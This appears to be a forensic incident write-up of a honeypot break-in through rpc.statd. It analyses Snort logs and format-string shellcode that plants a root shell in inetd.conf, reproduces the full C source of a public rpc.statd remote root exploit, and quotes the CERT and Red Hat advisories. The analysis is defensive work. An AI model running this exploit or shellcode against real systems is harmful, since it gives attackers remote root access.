Q1. Identify the intrusion method, its date, and time. (Assume the clock on the IDS was synchronized with an NTP reference time source.) If we look at the detail of the snort log we have: Nov 7 23:11:06 lisa snort[1260]: RPC Info Query: 216.216.74.2:963 -> 172.16.1.107:111 This corresponds to someone (the bad guy) (216.216.74.2) doing rpcinfo 172.16.1.107 (the honeypot system) Nov 7 23:11:31 lisa snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0) Nov 7 23:11:31 lisa snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1209 Nov 7 23:11:34 lisa snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1210 Nov 7 23:11:47 lisa snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 2 hosts: TCP(2), UDP(0) He has established two telnet connections to the honeypot system. Probably trying to get system information from the issue file, or trying to enter with a default password. Nov 7 23:11:51 lisa snort[1260]: IDS15 - RPC - portmap-request-status: 216.216.74.2:709 -> 172.16.1.107:111 This is a connection to the portmapper, asking for some service, we don't know which one. Nov 7 23:11:51 lisa snort[1260]: IDS362 - MISC - Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871 Portmapper answers that the requested service is in port 871. Hacker then connects to that port, sending X86 code for a shell: 11/07-23:11:50.870124 216.216.74.2:710 -> 172.16.1.107:871 UDP TTL:42 TOS:0x0 ID:16143 Len: 456 3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8 >............... 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF ...........g.... 04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF ................ 06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78 ............%08x 20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 %08x %08x %08x 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 %08x %08x %08x % 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 08x %08x %08x %0 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 38 8x %08x %08x %08 78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25 x %0242x%n%055x% 6E 25 30 31 32 78 25 6E 25 30 31 39 32 78 25 6E n%012x%n%0192x%n 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 EB 4B 5E 89 76 AC 83 EE 20 8D 5E 28 83 C6 ...K^.v... .^(.. 20 89 5E B0 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20 .^... .^... .. 83 EB 23 89 5E B4 31 C0 83 EE 20 88 46 27 88 46 ..#.^.1... .F'.F 2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3 *.. .F..F..+, .. 8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8 .N..V...1...@... B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65 ..../bin/sh -c e 63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20 cho 4545 stream 74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root 2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E /bin/sh sh -i >> 20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66 /etc/inetd.conf 3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E ;killall -HUP in 65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73 etd.....localhos 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t............... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ At a first glance, one could think that this is a buffer overflow attack: we have the shellcode and several NOPs (hex 90) in front of it. But this is not the case. It is a format string attack, as the "%n" strings indicates, prececed by several "%x" to get a certain value to be written in memory. Refer to http://julianor.tripod.com/usfs.html to get information about format string attacks. We then searched the web for known format string attacks for Linux Red Hat. In seconds we get two: one related with wu-ftpd and the other with rpc.rstatd. As only the latter uses RPCs its probably our objective. See http://www.securityfocus.com/vdb/bottom.html?vid=1480 for details. We can confirm that statd was the service being attacked searching for service number in the RPC request above: we found service "01 86 B8" (end of first hex line) that corresponds to service 100024, status (run rpcinfo in your system). So, now we are sure that this is the snort log caused by a statd exploit. The execution of this exploit should have left a trace in the /var/log/messages log file. A quick look at the file gave us nothing. It was only several days later, after running TCT's Lazarus over the var filesystem image that we found the following: Nov 8 00:08:41 apollo inetd[408]: pid 2077: exit status 1 Nov 8 00:08:41 apollo inetd[408]: pid 2078: exit status 1 Nov 8 00:09:00 apollo rpc.statd[270]: SM_MON request for hostname containing '/ ': ^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿08049f10 bffff754 000028f8 4d5f4d53 7 2204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 000bffff70400000000000000000000000000000000000000000000000bffff7050000bffff70600 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000bffff707~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~PëK^~Iv¬~Cî ~M^(~CÆ ~I^°~Cî ~M^ .~CÆ ~Cà ~Cë#~I^´1À~Cî ~HF'~HF*~CÆ ~HF«~IF¸°+, ~Ió~MN¬~MV¸Í~@1Û~IØ@Í~@è°ÿÿÿ/bin/ sh -c echo 4545 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd As we expected !! So intrusion method is totally confirmed. Time and date are the ones shown in the snort log, if we assume they are correct. Note that they differ from the time we found in the log file. As a result, a hole was opened in port 4545, so hacker connected to that port and got a root shell. From the file system analysis (see later) there is evidence that /etc/inetd.conf was modified so the hole is no longer there. Was a known exploit executed? Or was it an original implementation for abusing a known hole? Again, after searching web sites like packetstorm, securityfocus, rootshell, etc... we found the file rpc-statd.xpl.c that has the same shellcode inside, so this is probably what we were looking for. -------------------------8<--------------------------------------------------- /* * rpc.statd remote root xploit for linux/x86 * based on the xploit made by drow for linux/PowerPC * * Author: Doing, 08/2000 * * NOTE: * The guest of the remote address of the saved EIP and local vars * is still a problem. The value showed on the usage worked * fine on mi suse with the compiled sources. With gdb and a little * patience you should get the address for your distro/version. * Some address doesn't work, because they cause a very long result, * and the syslog() function overflows itself when parsing the * format input :( * * Greetz to Pascal Bouchareine for that great paper on format bugs :) * * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P * * Excuse my poor english :-) * */ #include #include #include #include #include #include #include #include void usage(char *s) { printf("rpc.statd xploit for linux/x86 - Doing \n"); printf("Usage: %s host address command\n", s); printf("host\t: the targe host\n"); printf("address\t: the address of the buffer in function log()\n"); printf("command\t: command to run remotely\n\n"); printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display 127.0.0.1:0\"\n\n", s); printf("Enjoy!\n"); exit(0); } /* shellcode without cr/lf and control caracters */ char *code = "\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89" "\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb" "\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83" "\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e" "\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff" "\xff\xff/bin/sh -c "; char shellcode[4096]; void make_shellcode(char *cdir, char *cmd) { unsigned long dir, ret; int c, eat = 14; int first_n = 0xc9; char tmp[1024]; int i, i0, i1, i2; char *ptr = shellcode; memset(shellcode, 0, 4096); sscanf(cdir, "%x", &dir); ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */ dir += 1028; /* dir = address of saved EIP = address of buffer + 1024 bytes of buffer + 4 bytes of SFP */ ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; for ( c = 0; c < eat; c++) { sprintf(ptr, "%%x "); ptr = &shellcode[strlen(shellcode)]; } i0 = (ret & 0xff); if (i0 > first_n) sprintf(ptr, "%%0%ix%%n", i0 - first_n); if (i0 == first_n) sprintf(ptr, "%%n"); if (i0 < first_n) { i0 |= 0x0100; sprintf(ptr, "%%0%ix%%n", i0 - first_n); } ptr = &shellcode[strlen(shellcode)]; i = (ret & 0xff00) >> 8; if (i > i0) sprintf(ptr, "%%0%ix%%n", i - i0); if (i == i0) sprintf(ptr, "%%n"); if (i < i0) { i |= 0x0100; sprintf(ptr, "%%0%ix%%n", i - i0); } ptr = &shellcode[strlen(shellcode)]; i1 = (ret & 0xff0000) >> 16; if (i1 > i) sprintf(ptr, "%%0%ix%%n", i1 - i); if (i1 == i) sprintf(ptr, "%%n"); if (i1 < i) { i1 |= 0x0100; sprintf(ptr, "%%0%ix%%n", i1 - i); } ptr = &shellcode[strlen(shellcode)]; i2 = (ret & 0xff000000) >> 24; i2 |= 0x0200; sprintf(ptr, "%%0%ix%%n", i2 - i1); ptr = &shellcode[strlen(shellcode)]; for (c = 0; c < 50; c++) { sprintf(ptr, "\x90"); ptr = &shellcode[strlen(shellcode)]; } sprintf(ptr, "%s%s\x00", code, cmd); } main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i; if (argc < 4) usage(argv[0]); make_shellcode(argv[2], argv[3]); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name ="localhost"; monreq.mon_id.my_id.my_prog = 0; monreq.mon_id.my_id.my_vers = 0; monreq.mon_id.my_id.my_proc = 0; monreq.mon_id.mon_name = shellcode; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd = RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); } -------------------------8<--------------------------------------------------- Finally, here is CERT advisory for this problem and Red Hat advisory: http://www.cert.org/advisories/CA-2000-17.html CERT(r) Advisory CA-2000-17 Input Validation Problem in rpc.statd Original release date: August 18, 2000 Last revised: September 6, 2000 Source: CERT/CC A complete revision history is at the end of this file. Systems Affected Systems running the rpc.statd service Overview The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see Appendix A of this document for specific information regarding affected distributions. More information about this vulnerability is available at the following public URLs: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0666 http://www.securityfocus.com/bid/1480 I. Description The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root. Intruder Activity The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000bffff7 0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v <83> <8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^ 1<83> <88>F'<88>F*<83> <88>F<89>F+, <89><8D>N<8D>V<80>1<89>@<80>/bin /sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity. II. Impact By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root. III. Solution Upgrade your version of rpc.statd Please see Appendix A of this advisory for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service. Disable the rpc.statd service If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality. Block unneeded ports at your firewall As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary. Appendix A. Vendor Information This section contains information provided by vendors for this advisory. We will update this appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not receive a response from that vendor. Please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) No versions of BSD/OS are vulnerable. Caldera, Inc. Not vulnerable: None of our products ship with rpc.statd Compaq (c) Copyright 2000 Compaq Computer Corporation. All rights reserved. SOURCE: Compaq Computer Corporation Compaq Services Software Security Response Team USA re: input validation problem in rpc.statd This reported problem has not been found to affect the as shipped, Compaq Tru64/UNIX Operating Systems Software. - Compaq Computer Corporation Debian http://www.debian.org/security/2000/20000719a FreeBSD FreeBSD is not vulnerable to this problem. Hewlett-Packard Company HP is NOT Vulnerable to the rpc.statd issue in CERT Advisory CA-2000-17. NetBSD NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this problem; all calls to syslog() within rpc.statd take a constant string for the format argument. OpenBSD *Linux* systems running the rpc.statd service! This affects noone else! RedHat http://www.redhat.com/support/errata/RHSA-2000-043-03.html Santa Cruz Operation The Santa Cruz Operation has investigated this vulnerability and has determined that NO SCO products are susceptable to it. SCO does not provide the programs in question, and SCO programs that perform the same or similar functionality are not susceptable to this vulnerability. Silicon Graphics, Inc. IRIX rpc.statd is not vulnerable to this security issue. Sun Microsystems, Inc. Our rpc.statd is not vulnerable to this buffer overflow. Authors: John Shaffer, Brian King This document is available from: http://www.cert.org/advisories/CA-2000-17.html CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. Conditions for use, disclaimers, and sponsorship information Copyright 2000 Carnegie Mellon University. Revision History Aug 18, 2000: Initial release Aug 21, 2000: Added additional vendor information to Appendix A. Aug 23, 2000: Added vendor information from Hewlett-Packard to Appendix A. Sep 6, 2000: Updated vendor information for Compaq Computer Corporation. --------------------------------------------------------------------- Red Hat, Inc. Security Advisory Synopsis: Revised advisory: Updated package for nfs-utils available Advisory ID: RHSA-2000:043-03 Issue date: 2000-07-17 Updated on: 2000-07-21 Product: Red Hat Linux Keywords: rpc.statd root compromise Cross references: N/A --------------------------------------------------------------------- 1. Topic: This is an updated of RHSA-2000:043 that contains further upgrade instructions. The rpc.statd daemon in the nfs-utils package shipped in Red Hat Linux 6.0, 6.1, and 6.2 contains a flaw that could lead to a remote root break-in. 2. Relevant releases/architectures: Red Hat Linux 6.0 - i386, alpha, sparc Red Hat Linux 6.1 - i386, alpha, sparc Red Hat Linux 6.2 - i386, alpha, sparc 3. Problem description: The rpc.statd daemon shipped in Red Hat Linux 6.0, 6.1, and 6.2 contains a flaw that could lead to a remote root break-in. Version 0.1.9.1 of the nfs-utils package corrects the problem. Although there is no known exploit for the flaw in rpc.statd, Red Hat urges all users running rpc.statd to upgrade to the new nfs-utils package. Users should note that in Red Hat Linux 6.0 and 6.1 the rpc.statd daemon was in the knfsd-clients package. The nfs-utils package replaces both the knfsd and knfsd-clients packages shipped in Red Hat Linux 6.0 and 6.1. On systems running a kernel older than 2.2.16-3, users should also take this opportunity to upgrade to the latest kernel release. 4. Solution: For each RPM for your particular architecture, run: rpm -Fvh [filename] where filename is the name of the RPM. After installing the new nfs-utils package, the rpc.statd service must be restarted. To do this, run: /etc/rc.d/init.d/nfslock restart 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): N/A 6. RPMs required: Red Hat Linux 6.2: sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm sources: ftp://updates.redhat.com/6.2/SRPMS/nfs-utils-0.1.9.1-1.src.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- fb038f83f091c8ba3c81d272b19aab0b 6.2/SRPMS/nfs-utils-0.1.9.1-1.src.rpm 9ffff59f1ac1dbe09694d70abaf356d2 6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm c8fb4d05baca53e48e94c7759304726f 6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm 0c32df4230662b6e48251fcb220364d1 6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm These packages are GPG signed by Red Hat, Inc. for security. Our key is available at: http://www.redhat.com/corp/contact.html You can verify each package with the following command: rpm --checksig If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: rpm --checksig --nogpg 8. References: N/A Copyright(c) 2000 Red Hat, Inc.